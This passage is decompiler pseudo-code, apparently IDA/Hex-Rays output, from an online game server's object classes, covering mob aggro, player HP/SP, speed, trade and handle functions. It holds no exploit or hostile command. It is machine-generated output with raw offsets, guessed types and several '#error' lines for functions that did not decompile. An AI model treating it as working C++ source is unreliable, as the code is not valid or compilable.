*)(v1 + 14) ) result = (int)&BriefInformationMob::bim_DefStateBit; else result = v1 + 15; return result; } //----- (004FF610) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this) { return ***(_WORD ***)(this + 7536); } //----- (004FF620) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this) { return (int)((char *)this + 8813); } //----- (004FF630) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // esi@1 int v4; // ecx@1 int v5; // ecx@1 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1492))(); v3 = *(_DWORD *)((char *)v1 + 78); v4 = *(_DWORD *)(v3 + 4) - *(_DWORD *)(v2 + 4); v5 = (*(_DWORD *)v3 - *(_DWORD *)v2) * (*(_DWORD *)v3 - *(_DWORD *)v2) + v4 * v4; return (unsigned int)&wholesaver.ws_savestore[6].esc_abstate.buffer[9640] < v5 ? v5 : 0; } //----- (004FF670) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8372) + 8))(); } //----- (004FF680) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 8372) + 12))(); } //----- (004FF690) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this) { return *(_DWORD *)(**(_DWORD **)(this + 7536) + 95) != 5; } //----- (004FF6A0) -------------------------------------------------------- #error "4FF6A0: undefined or illegal type '#325' (funcsize=10)" //----- (004FF6D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this) { return **(_DWORD **)(this + 7536) + 2; } //----- (004FF6E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this) { return *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7536) + 4) + 144); } //----- (004FF700) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can) { char v2; // dl@1 char result; // al@1 v2 = *(_BYTE *)(this + 8808); result = (v2 ^ 2 * can) & 2; *(_BYTE *)(this + 8808) = result ^ v2; return result; } //----- (004FF720) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can) { char result; // al@1 result = (can ^ *(_BYTE *)(this + 8808)) & 1; *(_BYTE *)(this + 8808) ^= result; return result; } //----- (004FF740) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this) { return *(_BYTE *)(this + 8808) & 1; } //----- (004FF750) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this) { return *(_BYTE *)(**(_DWORD **)(this + 7536) + 103); } //----- (004FF760) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this) { return *(_WORD *)(*(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1720))() + 4) + 59); } //----- (004FF770) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this) { int v1; // esi@1 int v2; // eax@2 int v3; // ecx@2 AxialListMobKillLog almkl; // [sp+8h] [bp-1Ch]@4 int v5; // [sp+20h] [bp-4h]@4 v1 = this; *(_DWORD *)(this + 4000) = clockwatch.cw_CurrTick; if ( !*(_BYTE *)(this + 8812) ) { v2 = *(_DWORD *)(this + 7536); v3 = *(_DWORD *)(v2 + 28); if ( v3 ) { if ( **(_WORD **)v2 == *(_DWORD *)v3 ) { AxialListMobKillLog::AxialListMobKillLog(&almkl, 1, 910, **(_WORD **)v2); v5 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)v1, (int)&almkl, 0); v5 = -1; AxialListWall::_AxialListWall(&almkl); } } } *(_BYTE *)(v1 + 8812) = 1; } //----- (004FF810) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this) { void *v1; // esi@1 int result; // eax@2 v1 = this; if ( *((_DWORD *)this + 1890) >= 0 ) { *(_DWORD *)(*((_DWORD *)this + 1887) + 4 * *((_DWORD *)this + 1890)) = clockwatch.cw_CurrTick + 1000 * ((*(int (**)(void))(*(_DWORD *)this + 1268))() + 99) / 100 / 1000; result = *(_DWORD *)(*((_DWORD *)v1 + 1887) + 4 * *((_DWORD *)v1 + 1890)); } else { result = 0; } return result; } //----- (004FF890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5D3B70: using guessed type int (*ShineObjectClass__ShineBandit___vftable_)(); //----- (004FF8A0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this) { return &ShineObjectClass::ShineBandit::m_RTTI; } //----- (004FF8B0) -------------------------------------------------------- #error "4FF8B0: undefined or illegal type '#325' (funcsize=20)" //----- (004FF8F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo->type == 5; } //----- (004FF910) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this) { return this->sb_MobBriefInfo.bic_BriefInfo; } //----- (004FF920) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle) { ShineObjectClass::ShineBandit *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xB; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xB; } //----- (004FF950) -------------------------------------------------------- ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this) { return &this->sb_MobBriefInfo.bic_BriefInfo->abstatebit; } //----- (004FF960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array) { PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)array, (int)this->sb_MobBriefInfo.bic_BriefInfo); } //----- (004FF980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5D46C0: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (004FF990) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this) { return &ShineObjectClass::ShineServant::m_RTTI; } //----- (004FF9A0) -------------------------------------------------------- #error "4FF9A0: undefined or illegal type '#740' (funcsize=14)" //----- (004FF9D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this) { return 10; } //----- (004FF9E0) -------------------------------------------------------- #error "4FF9E0: undefined or illegal type '#740' (funcsize=8)" //----- (004FFA00) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #325 *target) { unsigned int result; // eax@2 if ( this->ss_AIType == 1 ) result = 0; else result = ShineObjectClass::ShineMob::so_AttackRange((int)this, (int)target); return result; } //----- (004FFA20) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle) { ShineObjectClass::ShineServant *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0x13; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 0x13; } //----- (004FFA50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this) { return *(_DWORD *)(this + 8884); } //----- (004FFA60) -------------------------------------------------------- #error "4FFA60: undefined or illegal type '#740' (funcsize=38)" //----- (004FFAE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this) { int v1; // [sp+4h] [bp+4h]@0 *(_DWORD *)&this->gap0[8884] = v1; } // 4FFAE0: inconsistent function type and number of purged bytes //----- (004FFAF0) -------------------------------------------------------- #error "4FFAF0: undefined or illegal type '#325' (funcsize=2)" //----- (004FFB00) -------------------------------------------------------- #error "4FFB00: undefined or illegal type '#325' (funcsize=11)" //----- (004FFB30) -------------------------------------------------------- #error "4FFB30: undefined or illegal type '#740' (funcsize=13)" //----- (004FFB60) -------------------------------------------------------- #error "4FFB60: undefined or illegal type 'ListArray' (funcsize=146)" //----- (004FFDB0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x87u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineAxialFlag::_ShineAxialFlag); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FFE10) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x2360u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineBandit::_ShineBandit); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineBandit::_ShineBandit(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FFE70) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x22B4u, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShineMob::_ShineMob); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShineMob::_ShineMob(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } //----- (004FFED0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x22D0u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineServant::_ShineServant); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineServant::_ShineServant(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FFF40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this) { int v1; // esi@1 MobTargetAggresive *v2; // edi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShinePlayer::_vftable_; v2 = (MobTargetAggresive *)(this + 92596); SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(this + 92672)); MobTargetAggresive::_MobTargetAggresive(v2); std::vector>::_Tidy((std::vector > *)(v1 + 92576)); List::_List((ItemLotAnalyser::LotAnalyser *)(v1 + 92200)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92164)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92161)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 92160)); CChargedItem::Clear((CChargedItem *)(v1 + 91736)); ChargedItemEffectList::ChargedEffectList::_ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 91072)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 91044)); ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(v1 + 89920)); ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(v1 + 89168)); TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(v1 + 89150)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 89024)); ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(v1 + 86144)); ItemAccountStorage::_ItemAccountStorage((ItemAccountStorage *)(v1 + 69432)); ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68304)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 68275)); TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(v1 + 68240)); std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator> 3) & 1; } //----- (00500290) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2) { void *v2; // edi@1 int v3; // eax@7 int result; // eax@8 v2 = this; if ( this == (void *)a2 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( *(_WORD *)(a2 + 4) == **(_WORD **)((char *)v2 + 32010) ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1860))(a2) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, char *))(*(_DWORD *)v3 + 12))(v3, a2, (char *)v2 + 31844); } result = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1860))(a2); if ( !(_BYTE)result ) result = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v2 + 2472))(v2, a2); return result; } //----- (00500320) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this) { return *(_DWORD *)(this + 31836); } //----- (00500330) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this) { return *(_DWORD *)(this + 31832); } //----- (00500340) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this) { return *(_BYTE *)(this + 92572) || !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(this + 23616) + 12))(); } //----- (00500360) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this) { char result; // al@1 result = *(_BYTE *)(this + 32042); if ( (unsigned __int8)result > 0x96u ) result = -106; return result; } //----- (00500380) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this) { return (*(_BYTE *)(this + 32118) >> 2) & 0x1F; } //----- (00500390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this) { return *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 2440) * *((_WORD *)this + 44494) / 1000; } //----- (005003C0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize() { return 50; } //----- (005003D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this) { return *(_DWORD *)(this + 32010); } //----- (005003E0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this) { int v1; // eax@1 v1 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); return (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 56))(v1) != 11 ? 100 : 450; } //----- (00500410) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this) { void *v1; // esi@1 __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 6 ) result = (unsigned __int8)(shineparam.scp_param.chrwalkspeed * *((_WORD *)v1 + 46073) / 0x3E8); else result = (unsigned __int8)(shineparam.scp_param.chrwalkspeed * *((_DWORD *)v1 + 1741) / 0x3E8); return result; } //----- (00500460) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_RunSpeed(void *this) { void *v1; // esi@1 unsigned int result; // eax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 6 ) result = shineparam.scp_param.chrrunspeed * *((_WORD *)v1 + 46074) / 0x3E8; else result = shineparam.scp_param.chrrunspeed * *((_DWORD *)v1 + 1741) / 0x3E8; return result; } //----- (005004B0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this) { return *(_WORD *)(this + 89140); } //----- (005004C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 32021); } //----- (005004D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this) { return *(_DWORD *)(this + 32017); } //----- (005004E0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShinePlayer::so_TargetType() { return 2; } //----- (005004F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this) { return (int)((char *)this + 32079); } //----- (00500500) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { return CharacterInventory::ci_FillBufferItem((CharacterInventory *)(this + 32168), itemcounter, itmarr); } //----- (00500510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag) { int from; // [sp+0h] [bp-4h]@1 from = 0; return CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)(this + 32168), itemcounter, itmarr, box, &from, 8000, bag); } //----- (00500550) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal) { void *v2; // esi@1 signed int v3; // edx@1 int v4; // edi@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 int result; // eax@1 v2 = this; v3 = (signed int)((unsigned __int64)(274877907i64 * heal * *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1052))() + 3094)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, v4, 1, (int)"ShineObjectClass::ShinePlayer::so_Heal"); *(_DWORD *)((char *)v2 + 32059) += v4; result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( *(_DWORD *)((char *)v2 + 32059) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); *(_DWORD *)((char *)v2 + 32059) = result; } return result; } //----- (00500600) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this) { return *(_DWORD *)(this + 32059); } //----- (00500610) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this) { return *(_DWORD *)(this + 32063); } //----- (00500620) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 32063); if ( result < a2 ) { *(_DWORD *)(this + 32063) = 0; } else { result -= a2; *(_DWORD *)(this + 32063) = result; } return result; } //----- (00500650) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *(_DWORD *)((char *)v2 + 32063) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1248))(); if ( *(_DWORD *)((char *)v2 + 32063) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); *(_DWORD *)((char *)v2 + 32063) = result; } return result; } //----- (00500690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this) { *(_DWORD *)(this + 32059) = 0; } //----- (005006A0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 unsigned int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, -1, (int)"ShineObjectClass::ShinePlayer::so_LostHP"); result = *(_DWORD *)((char *)v2 + 32059); if ( result < hp ) { *(_DWORD *)((char *)v2 + 32059) = 1; } else { result -= hp; *(_DWORD *)((char *)v2 + 32059) = result; } return result; } //----- (00500720) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_GainHP"); *(_DWORD *)((char *)v2 + 32059) += hp; result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); if ( *(_DWORD *)((char *)v2 + 32059) >= (unsigned int)result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1236))(v2); *(_DWORD *)((char *)v2 + 32059) = result; } return result; } //----- (005007B0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 2; } //----- (005007F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session) { int v2; // edx@1 v2 = *(_DWORD *)(this + 23628); *(_DWORD *)(this + 23616) = session; return (*(int (__thiscall **)(int))v2)(this + 23628); } //----- (00500810) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this) { return *(_DWORD *)(this + 32010) + 87; } //----- (00500820) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this) { return *(_WORD *)(this + 32137); } //----- (00500830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill) { void *v2; // esi@1 Name4 *v3; // eax@1 v2 = this; v3 = (Name4 *)(*(int (**)(void))(*(_DWORD *)this + 1352))(); CharacterPassiveList::psl_Store((CharacterPassiveList *)((char *)v2 + 68240), skill, v3); } //----- (00500850) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2) { int v2; // esi@1 char result; // al@1 v2 = this + 68275; TradeBoard::tb_Clear((void *)(this + 68275)); *(_DWORD *)v2 = a2; result = 0; *(_BYTE *)(v2 + 4) = 0; *(_BYTE *)(v2 + 5) = 0; return result; } //----- (00500870) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this) { int v1; // eax@1 *(_WORD *)(this + 68262) = -1; *(_WORD *)(this + 68256) = -1; *(_DWORD *)(this + 68264) = -1; *(_DWORD *)(this + 68258) = -1; v1 = *(_DWORD *)this; *(_DWORD *)(this + 68275) = 0; *(_DWORD *)(this + 68268) = 0; return (*(int (__stdcall **)(_DWORD))(v1 + 808))(0); } //----- (005008B0) -------------------------------------------------------- #error "5008B0: undefined or illegal type '#585' (funcsize=26)" //----- (00500900) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34708) &= ~(1 << menutype); return result; } //----- (00500920) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menutype) { return DuplicatedMenuControl::dmc_CanMenuOpen((DuplicatedMenuControl *)(this + 69416), menutype); } //----- (00500930) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype) { void *result; // eax@1 result = this; *((_WORD *)result + 34708) |= 1 << menutype; return result; } //----- (00500950) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this) { void *v1; // esi@1 unsigned __int8 v2; // al@1 int v3; // esi@1 int result; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1220))(); v3 = *((_DWORD *)v1 + 1001); if ( v2 > 0x96u ) result = *(_DWORD *)(*(_DWORD *)(v3 + 67672) + 124); else result = *(_DWORD *)(*(_DWORD *)(v3 + 4 * v2 + 67672) + 124); return result; } //----- (00500990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this) { CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)(this + 68220)); } //----- (005009A0) -------------------------------------------------------- #error "5009A0: undefined or illegal type '#434' (funcsize=21)" //----- (005009E0) -------------------------------------------------------- __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, __int64 cen) { __int64 result; // qax@1 result = cen; *(_QWORD *)(this + 32071) = cen; return result; } //----- (00500A00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame) { int result; // eax@1 result = fame; *(_DWORD *)(this + 32067) = fame; return result; } //----- (00500A10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this) { return *(_DWORD *)(this + 89164); } //----- (00500A20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate, int a3, int a4) { void *v4; // esi@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 int v8; // eax@1 int v9; // eax@1 int v10; // edx@1 int v11; // eax@1 int v12; // edx@1 int result; // eax@3 int v14; // [sp+0h] [bp-8h]@0 int v15; // [sp+4h] [bp-4h]@0 v4 = this; v5 = (*(int (**)(void))(*(_DWORD *)this + 1352))(); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; v8 = (*(int (__thiscall **)(void *, signed int, _DWORD))(*(_DWORD *)v4 + 1244))( v4, 1, "ShineObjectClass::ShinePlayer::so_ply_PartyRecharge"); ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v4, a4 * v8 / 0x3E8u, v14, v15); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1244))(v4); v10 = *(_DWORD 